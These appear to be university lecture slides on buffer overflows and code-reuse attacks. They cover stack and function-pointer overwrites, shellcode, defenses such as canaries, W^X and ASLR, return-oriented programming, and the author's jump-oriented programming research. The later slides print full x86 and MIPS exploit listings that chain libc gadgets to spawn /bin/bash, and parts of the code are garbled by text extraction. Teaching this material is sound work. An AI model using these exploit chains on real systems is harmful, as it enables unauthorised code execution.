ECE560 Computer and Information Security

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Buffer Overflows

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What is a Buffer Overflow?

- Intent
	- **E** Arbitrary code execution
		- Spawn a remote shell or infect with worm/virus
	- Denial of service
- Steps
	- Inject attack code into buffer
	- Redirect control flow to attack code
	- Execute attack code

Buffer Problem: Data overwrite

- **passwd** buffer overflowed, overwriting **passwd_ok** flag
	- Any password accepted!

Another Example: Code injection via function pointer

```
char buffer[100];
```

```
void (*func)(char*) = thisfunc;
```

```
strcpy(buffer, argv[1]);
```

```
func(buffer);
```


- Problems?
	- Overwrite function pointer
		- Execute code arbitrary code in buffer

Stack Attacks: Code injection via return address

- When a function is called…
	- parameters are pushed on stack
	- **Executery and return address pushed on stack**
	- called function puts local variables on the stack
- Memory layout

Return address Parameters Locals **arbitrarystuffX**

- Problems?
	- Return to address X which may execute arbitrary code

Demo

cool.c

```
#include <stdlib.h>
#include <stdio.h>
int main() {
     char name[1024];
     printf("What is your name? ");
     scanf("%s",name);
     printf("%s is cool.\n", name);
     return 0;
}
```
Demo – normal execution

Demo – exploit

How to write attacks

- Use NASM, an assembler:
	- Great for machine code and specifying data fields

Attack code trickery

- Where to put strings? No data area!
- You often can't use certain bytes
	- Overflowing a string copy? No nulls!
	- Overflowing a scanf %s? No whitespace!
- Answer: use code!
- Example: make "ebx" point to string "hi folks": **push "olks" ; 0x736b6c6f="olks" mov ebx, -"hi f" ; 0x99df9698 neg ebx ; 0x66206968="hi f" push ebx mov ebx, esp**

Shellcode

- Code supplied by attacker
	- Often saved in buffer being overflowed
	- Traditionally transferred control to a user command-line interpreter (shell)
- Machine code
	- Specific to processor and operating system
	- Traditionally needed good assembly language skills to create
	- More recently a number of sites and tools have been developed that automate this process
- Metasploit Project
	- Provides useful information to people who perform penetration, IDS signature development, and exploit research

Figure 10.4 Program Loading into Process Memory

Stack vs. Heap vs. Global attacks

• Book acts like they're different; they are not

Stack overflows

- Data attacks, e.g. "is admin" variable
- Control attacks, e.g. function pointers, return addresses, etc.

Non-stack overflows: heap/static areas

- Data attacks, e.g. "is admin" variable
- Control attacks, e.g. function pointers, etc.

Table 10.2

Some Common Unsafe C Standard Library Routines **Table 10.2 Some Common Unsafe C Standard Library Routines**

Also dangerous: all forms of **scanf** when used with unbounded %s!

Better:

Buffer Overflow Defenses

• Buffer overflows are widely exploited

Compile-Time Defenses: Programming Language

- Use a modern high-level language
	- Not vulnerable to buffer overflow attacks
	- Compiler enforces range checks and permissible operations on variables

Disadvantages

- •Additional code must be executed at run time to impose checks
- •Flexibility and safety comes at a cost in resource use
- •Distance from the underlying machine language and architecture means that access to some instructions and hardware resources is lost
- •Limits their usefulness in writing code, such as device drivers, that must interact with such resources

Compile-Time Defenses: Safe Coding Techniques

- C designers placed much more emphasis on space efficiency and performance considerations than on type safety
	- Assumed programmers would exercise due care in writing code
- Programmers need to inspect the code and rewrite any unsafe coding
	- An example of this is the OpenBSD project
- OpenBSD code base: audited for bad practices (including the operating system, standard libraries, and common utilities)
	- This has resulted in what is widely regarded as one of the safest operating systems in widespread use

```
int copy_buf(char *to, int pos, char *from, int len)
{
   int i;
  for (i=0; i<len; i++) {
     to[pos] = from[i]; pos++;
 }
   return pos;
```
}

(a) Unsafe byte copy

```
short read_chunk(FILE fil, char *to)
{
    short len;
    fread(&len, 2, 1, fil);................................ .................. /* read length of binary data */
   fread(to, 1, len, fil); \dots /* read len bytes of binary data
    return len;
}
```
(b) Unsafe byte input

Figure 10.10 Examples of Unsafe C Code

Compile-Time Defenses: Language Extensions/Safe Libraries

- Handling dynamically allocated memory is more problematic because the size information is not available at compile time
	- o Requires an extension and the use of library routines
		- Programs and libraries need to be recompiled
		- Likely to have problems with third-party applications
- Concern with C is use of unsafe standard library routines
	- o One approach has been to replace these with safer variants
		- Libsafe is an example
		- Library is implemented as a dynamic library arranged to load before the existing standard libraries

Compile-Time Defenses: Stack Protection

• Add function entry and exit code to check stack for signs of corruption

• Use random canary

- o Value needs to be unpredictable
- o Should be different on different systems

- Stackshield and Return Address Defender (RAD)
	- o GCC extensions that include additional function entry and exit code
		- Function entry writes a copy of the return address to a safe region of memory
		- Function exit code checks the return address in the stack frame against the saved copy
		- If change is found, aborts the program

Preventing Buffer Overflows

- Strategies
	- Detect and remove vulnerabilities (best)
	- Prevent code injection
	- Detect code injection
	- **Prevent code execution**
- Stages of intervention
	- Analyzing and compiling code
	- Linking objects into executable
	- Loading executable into memory
	- Running executable

Run-Time Defenses: Guard Pages

- Place guard pages between critical regions of memory
	- o Flagged in MMU as illegal addresses
	- o Any attempted access aborts process
- Further extension places guard pages Between stack frames and heap buffers

o Cost in execution time to support the large number of page mappings necessary

W^X and ASLR

Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker's expected work
	- Each failed attempt results in crash; at restart, randomization is different
- Counters:
	- Information leakage
		- Program reveals a pointer? Game over.
	- Derandomization attack [1]
		- Just keep trying!
		- 32-bit ASLR defeated in 216 seconds

Negating W^X

• Question: do we need malicious **code** to have malicious **behavior**?

No.

Code injection Code reuse (!)

"Return-into-libc" attack

Return-into-libc

- Return-into-libc attack
	- Execute entire libc functions
	- Can chain using "esp lifters"
	- Attacker may:
		- Use system/exec to run a shell
		- Use mprotect/mmap to disable W^X
		- Anything else you can do with libc
	- Straight-line code only?
		- Shown to be false by us, but that's another talk...

Arbitrary behavior with W^X?

- Question: do we need malicious **code** to have **arbitrary** malicious **behavior**? **No.**
- *Return-oriented programming (ROP)*
- Chain together *gadgets*: tiny snippets of code ending in ret
- Achieves Turing completeness
- Demonstrated on x86, SPARC, ARM, z80, ...
	- Including on a deployed voting machine, which has a non-modifiable ROM
	- **E** Recently! New remote exploit on Apple Quicktime¹

Return-oriented programming (ROP)

• Normal software:

• Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.

Some common ROP operations

• Loading constants

• Arithmetic

• Control flow

• Memory mov ebx, [eax] ; ret 0x8070abcd (address) pop eax ; ret

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.

Bringing it all together

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham

Example: First a syscall review in MIPS and x86

- Let's say we want to launch a shell process in MIPS *legitimately* (not an attack)
- Necessary steps:

```
.text
         myfunc:
              la $a0, shell # 1. Set $a0 to the address of the string "/bin/sh"
              li $v0, 55 # 2. Set $v0 to the syscall number for 'exec'
              syscall # 3. Ask the OS to do the syscall
MIPS
         myfunc:
              mov ebx, shell # 1. Set $a0 to the address of the string "/bin/sh"
              mov eax, 55 # 2. Set $v0 to the syscall number for 'exec'
              int 0x80 # 3. Ask the OS to do the syscall
 x86
        .data
        shell: .asciiz "/bin/bash"
```
Example ROP in MIPS (1)

Example ROP in MIPS (2)

Example ROP in MIPS (3)

Example ROP in MIPS (4)

Example ROP in MIPS (5)

Example ROP in MIPS (6)

Example ROP in MIPS (7)

Example ROP in MIPS (8)

Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
	- \blacksquare ROPdefender^[1] and others: maintain a shadow stack
	- **DROP**^[2] and DynIMA^[3]: detect high frequency rests
	- **Returnless**^[4]: Systematically eliminate all rests
- **So now we're totally safe forever, right?**
- **No: code-reuse attacks need not be limited to the stack and ret!**
	- See "Jump-oriented programming: a new class of code-reuse attack" by Bletsch et al. (covered in this deck if you're curious)

Sidebar: "Weird machines"

- Using ROP gives a computer with "weird" opcodes (gadget addresses) and "weird" semantics (specific effects on specific registers/memory).
- This is an example of a "weird machine" common idiom in security
	- Unexpected inputs result in unexpected forms of computation
- Key insight: If you can do computation in ANY way, it's a computer
- Tagline of popular exploit YouTuber "LiveOverflow" is "[explore weird machines](https://www.youtube.com/watch?v=8Dcj19KGKWM)"

Backup slides: My past research on code reuse attacks

"Jump-oriented Programming" (JOP)

Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
	- $-$ ROPdefender^[1] and others: maintain a shadow stack
	- DROP^[2] and DynIMA^[3]: detect high frequency rests
	- $-$ Returnless^[4]: Systematically eliminate all rets
- **So now we're totally safe forever, right?**
- **No: code-reuse attacks need not be limited to the stack and ret!**
	- **My research follows...**

Jump-oriented programming (JOP)

Instead of $_{\text{ret}}$, use indirect jumps, e.g., $_{\text{imp}}$ eax

• How to maintain control flow?

The dispatcher in depth

• Dispatcher gadget implements:

pc = **f**(*pc*) goto **pc*

- **f** can be anything that evolves *pc* predictably
	- Arithmetic: **f**(*pc*) = *pc*+4
	- Memory based: **f**(*pc*) = *(*pc*+4)

Availability of indirect jumps (1)

- Can use $\frac{1}{2}$ or call (don't care about the stack)
- When would we expect to see indirect jumps? – Function pointers, some switch/case blocks, ...?
- That's not many...

vailability of indirect jumps (2)

- However: x86 instructions are *unaligned*
- We can find *unintended* code by jumping into the middle of a regular instruction!

• Very common, since they start with 0xFF, e.g. -1 = $0x$ FFFFFFFFF $-1000000 = 0 \times FFFOBDC0$

Finding gadgets

- Cannot use traditional disassembly,
	- Instead, as in ROP, scan & walk backwards
	- We find 31,136 potential gadgets in libc!
- Apply heuristics to find certain kinds of gadget
- Pick one that meets these requirements:
	- **Internal integrity**:
		- Gadget must not destroy its own jump target.
	- **Composability**:
		- Gadgets must not destroy subsequent gadgets' jump targets.

Finding dispatcher gadgets

• Dispatcher heuristic:

- The gadget must act upon its own jump target register
- Opcode can't be useless, e.g.: inc, xchg, xor, etc.
- $-$ Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
	- lea edx, [eax+ebx] isn't going to advance anything
	- lea edx, [edx+esi] could work
- Find a dispatcher that uses uncommon registers **add ebp, edi jmp [ebp-0x39]**
- Functional gadgets found with similar heuristics

Developing a practical attack

- Built on Debian Linux 5.0.4 32-bit x86
	- Relies solely on the included libc
- Availability of gadgets (31,136 total): **PLENTY**
	- **Dispatcher**: 35 candidates
	- **Load constant**: 60 pop gadgets
	- **Math/logic**: 221 add, 129 sub, 112 or, 1191 xor, etc.
	- **Memory**: 150 mov loaders, 33 mov storers (and more)
	- **Conditional branch**: 333 short adc/sbb gadgets
	- **Syscall**: multiple gadget sequences

The vulnerable program

- Vulnerabilities
	- String overflow
	- Other buffer overflow
	- String format bug
- Targets
	- Return address
	- Function pointer
	- C++ Vtable
	- Setjmp buffer
		- Used for non-local gotos
		- Sets several registers, including esp and eip

The exploit code (high level)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
	- Write null bytes into the attack buffer where needed
	- Prepare and execute an execve syscall
- Get a shell without exploiting a single $\text{ret}:$

The full exploit (1)

```
start:
 \overline{a}: Constants:
                                                                                                  Constants
                                                                                                   Constants 3.
  libc:
                         equ 0xb7e7f000 ; Base address of libc in memory
 4 base:
                         equ 0x0804a008 : Address where this buffer is loaded
5 base mangled:
                         equ 0x1d4011ee ; 0x0804a008 = mangled address of this buffer
 6 initializer mangled: equ 0xc43ef491 ; 0xB7E81F7A = mangled address of initializer gadget
7 dispatcher:
                   equ 0xB7FA4E9E ; Address of the dispatcher gadget
8 buffer length: equ 0x100 ; Target program's buffer size before the jmpbuf.
9 shell:
                         equ Oxbffff8eb ; Points to the string "/bin/bash" in the environment
10 to null:
                         equ libc+0x7 ; Points to a null dword (0x00000000)
1112 ; Start of the stack. Data read by initializer gadget "popa":
                                        ; Delta for dispatcher; negative to avoid NULLs
13 popa0 edi: dd -4
14 popa0 esi: dd Oxaaaaaaaa
15 popa0 ebp: dd base+q start+0x39
                                         ; Starting jump target for dispatcher (plus 0x39)
16 popa0 esp: dd Oxaaaaaaaa
                                                                                                  Immediate values on the stack
                                                                                                   Immediate values on the stack17 popa0 ebx: dd base+to dispatcher+0x3e; Jumpback for initializer (plus 0x3e)
18 popa0 edx: dd Oxaaaaaaaa
19 popa0 ecx: dd Oxaaaaaaaa
20 popa0 eax: dd Oxaaaaaaaa
2122 ; Data read by "popa" for the null-writer gadgets:
23 popal edi: dd -4
                                        ; Delta for dispatcher
24 popal esi: dd base+to dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
25 popal ebp: dd base+q00+0x39
                                        ; Maintain current dispatch table offset
26 popal esp: dd Oxaaaaaaaa
27 popal ebx: dd base+new eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
28 popal edx: dd base+to dispatcher ; Jumpback for gadgets ending "imp [edx]"
29 popal ecx: dd Oxaaaaaaaa
30 popal eax: dd -1
                                         ; When we increment eax later, it becomes 0
31
32 ; Data read by "popa" to prepare for the system call:
33 popa2 edi: dd -4
                                         ; Delta for dispatcher
                                         ; Jumpback for "jmp [esi+K]" for a few values of K
34 popa2 esi: dd base+esi addr
35 popa2 ebp: dd base+q07+0x39
                                         ; Maintain current dispatch table offset
36 popa2 esp: dd Oxaaaaaaaa
37 popa2 ebx: dd shell
                                        ; Syscall EBX = 1st execve arg (filename)
38 popa2 edx: dd to null
                                         ; Syscall EDX = 3rd execve arg (envp)
39 popa2 ecx: dd base+to dispatcher
                                         ; Jumpback for "jmp [ecx]"
40 popa2<sup>-</sup>eax: dd to null
                                         ; Swapped into ECX for syscall. 2nd execve arg (argv)
41
```
The full exploit (2)

42 ; End of stack, start of a general data region used in manual addressing ; Jumpback for "jmp [esi-0xf]" 43 dd dispatcher Data 44 times 0xB db 'X' : Filler 45 esi addr: dd dispatcher ; Jumpback for "jmp [esi]" ; Jumpback for "imp [esi+0x4]" 46 dd dispatcher ; Filler 47 times 4 db 'Z' 48 new eax: dd 0xEEEEEE0b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared 49. 50 ; End of the data region, the dispatch table is below (in reverse order) 51 q0a: dd 0xb7fe3419 ; sysenter Dispatch table Dispatch table 52 q09: dd libc+ 0xla30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4] 53 $g08:$ dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf] 54 q07: dd libc+0x137375 ; popa ; imp far dword [ecx] 55 $q06$: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx] ; fdivr $st(1)$, st ; jmp [edx] 56 q05: dd libc+0x14748d ; inc ebx 57 q04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; sto ; jmp [edx] 58 q03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx] 59 q02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; imp [edx] 60 q01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx] 61 $q00:$ dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx] 62 q start: ; Start of the dispatch table, which is in reverse order. 63 times buffer length - (\$-start) db 'x' ; Pad to the end of the legal buffer 64 65 ; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control Overflow 66 jmpbuf ebx: dd Oxaaaaaaaa Overflow67 impbuf esi: dd Oxaaaaaaaa 68 impbuf edi: dd Oxaaaaaaaa 69 impbuf ebp: dd Oxaaaaaaaa 70 impbuf esp: dd base mangled ; Redirect esp to this buffer for initializer's "popa" 71 impbuf eip: dd initializer mangled ; Initializer gadget: popa ; jmp [ebx-0x3e] 72 to dispatcher: dd dispatcher 73 ; Address of the dispatcher: add ebp, edi ; imp [ebp-0x39] 74 dw 0x73 ; The standard code segment; allows far jumps; ends in NULL

Discussion

- Can we automate building of JOP attacks?
	- Must solve problem of complex interdependencies between gadget requirements

- Is this attack applicable to non-x86 platforms?
	- A: *Yes*
- What defense measures can be developed which counter this attack?

The **MIPS** architecture

- MIPS: very different from x86
	- Fixed size, aligned instructions
		- No unintended code!
	- Position-independent code via indirect jumps
	- Delay slots
		- Instruction after a jump will always be executed

• *We can deploy JOP on MIPS!*

- Use intended indirect jumps
	- Functionality bolstered by the effects of delay slots
- Supports hypothesis that JOP is a *general* threat

MIPS exploit code (high level overview)

- Shellcode: launches /bin/bash
- Constructed in NASM (data declarations only)
- 6 gadgets which will:
	- Insert a null-containing value into the attack buffer
	- Prepare and execute an execve syscall
- Get a shell without exploiting a single $j r$ ra:

[Click for full](#page-44-0) exploit code

MIPS full exploit code (1)

```
: = = = <sup>2</sup> <sup>2</sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup></sup>
 1.
 2 %define libc 6x2aada000 ; Base address of libc in memory.
 3 % define base 0x7fff780e ; Address where this buffer is loaded.
 4 % define initializer libc+0x103d0c; Initializer gadget (see table below for machine code).<br>5 % define dispatcher libc+0x63fc8; Dispatcher gadget (see table below for machine code).
  %define buffer_length 0x100 ; Target program's buffer size before the function pointer.
 7 & define to\_null 1ibc+0x8 ; Points to a null word (0x00000000).
 8 % define ap
                             0x4189d0 ; Value of the gp register.
 9
   : ===== GADGET MACHINE CODE =====
10<sup>°</sup>11
12
   ; | Initializer/pre-syscall gadget | Dispatcher gadget | Syscall gadget | Gadget "g04"
13
   ; 1 w v0,44 (sp)
                                            | addu v0, a0, v0 | syscall
                                                                                            | sw a1, 44(sp)14
   ; 1 w t9, 32 (sp)
                                            | \ln \text{ v1,0(v0)} | \ln \text{ t9,-27508(qp) }| \text{sw zero,24(sp)} |15
                                                                             sw zero, 28 (sp)
16
  ; 1 1w a0, 128 (sp)
                                                                    | nop
                                           | nop
                                           addu v1, v1, gp i jair t9
17 ; | 1w a1, 132 (sp)
                                                                                           addiu al, sp, 44
                                                                  11 a0,60
18 ; | 1w a2, 136 (sp)\frac{1}{1} ir vl
                                                                                           | jalr t9
19 ; | sw v0, 16 (sp)
                                                                                             l addiu a3, sp, 24
                                            | nop
20 ; \vert jalr t9
21:1 move a3, s822
23
24 : ==== ATTACK DATA =====
25 ; Data for the initializer gadget. We want 32 (sp) to refer to the value below, but sp
26 ; points 24 bytes before the start of this buffer, so we start with some padding.
27 times 32-24 db 'x'
28 dd dispatcher : sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)
29 times 44-36 db 'x' ; sp+36 (padding)
30 dd base + q start ; sp+44 Sets v0 - offset
31 times 128-48 db 'x' ; sp+48 (padding)
32 dd -4 ; sp+128 Sets a0 - delta
dd Oxaaaaaaaa ( sp+136 Sets a2
34
35
36 dd Oxaaaaaaaa : ; sp+140 (padding, since we can only advance $sp by multiples of 8)
37
```
MIPS full exploit code (2)

```
38 ; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
39 ; been advanced by 112 bytes, so it points 32 bytes before this point.
                       ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
40 dd libc+0x26194
41 times 44-36 db 'x' ; sp+36 (padding)
                       ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
42 dd 0xdededede
43 times 80-48 db 'x' ; sp+48 (padding)
44 dd -4011
               ; sp+80 The syscall number for "execve", negated.
45 times 128-84 db 'x' ; sp+84 (padding)
46 dd base+shell path ; sp+128 Sets a0
47 dd to_null (1994) ; sp+132 Sets al<br>48 dd to_null (1994) ; sp+136 Sets a2
49
50
   : ===== DISPATCH TABLE =====
51
   ; The dispatch table is in reverse order
  q05: dd libc-qp+0x103d0c ; Pre-syscall qadget (same as initializer, see table for machine code)
52
53 q04: dd libc-qp+0x34b8c ; Gadget "q04" (see table above for machine code)
54 q03: dd libc-qp+0x7deb0 ; Gadget: jalr t9 ; nequ a1, s2
55.
  q02: dd libc-qp+0x6636c ; Gadget: lw s2,80(sp) ; jalr t9 ; move s6,a3
56 q01: dd libc-qp+0x13d394 ; Gadget: ir t9 ; addiu sp, sp, 16
57 q00: dd libc-qp+0xcblac ; Gadget: jr t9 ; addiu sp, sp, 96
   g start: ; Start of the dispatch table, which is in reverse order.
58
59
60
   : ===== OVERFLOW PADDING =====
   times buffer length - ($-$$) db 'x' ; Pad to the end of the legal buffer
61
62
63
   : ===== FUNCTION POINTER OVERFLOW =====
   dd initializer
64
65
66
  : = = = SHELL STRING = = = =67 shell path: db "/bin/bash"
68 db 0 ; End in NULL to finish the string overflow
```


References

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